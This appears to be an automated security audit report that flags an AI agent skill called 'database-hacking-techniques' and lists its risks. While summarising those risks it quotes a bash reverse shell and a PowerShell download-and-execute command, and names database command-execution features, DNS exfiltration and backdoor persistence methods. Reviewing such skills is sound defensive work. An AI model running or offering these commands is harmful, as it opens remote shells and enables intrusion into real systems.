database-hacking-techniques
Warn
Audited by Gen Agent Trust Hub on Sep 27, 2026
Risk Level: MEDIUMREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCECREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides specific payloads for establishing reverse shells and downloading remote scripts. Specifically: Linux reverse shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1and Windows download-and-executepowershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')". - [COMMAND_EXECUTION]: Instructions for executing operating system commands via database features like MSSQL
xp_cmdshell, MySQL UDFsys_exec, and PostgreSQLCOPY FROM PROGRAM. - [DATA_EXFILTRATION]: Automated exfiltration methods including Python-based DNS listeners and SQL-based DNS harvesting targeting
attacker.com. Includes methods for multi-threaded database dumping. - [PRIVILEGE_ESCALATION]: Procedures for gaining administrative access (DBA/Superuser) to database servers.
- [PERSISTENCE]: Instructions for establishing long-term access via backdoor database accounts and webshell creation via Redis configuration manipulation.
- [CREDENTIALS_UNSAFE]: Inclusion of hardcoded passwords like
Password123!in script examples.
Audit Metadata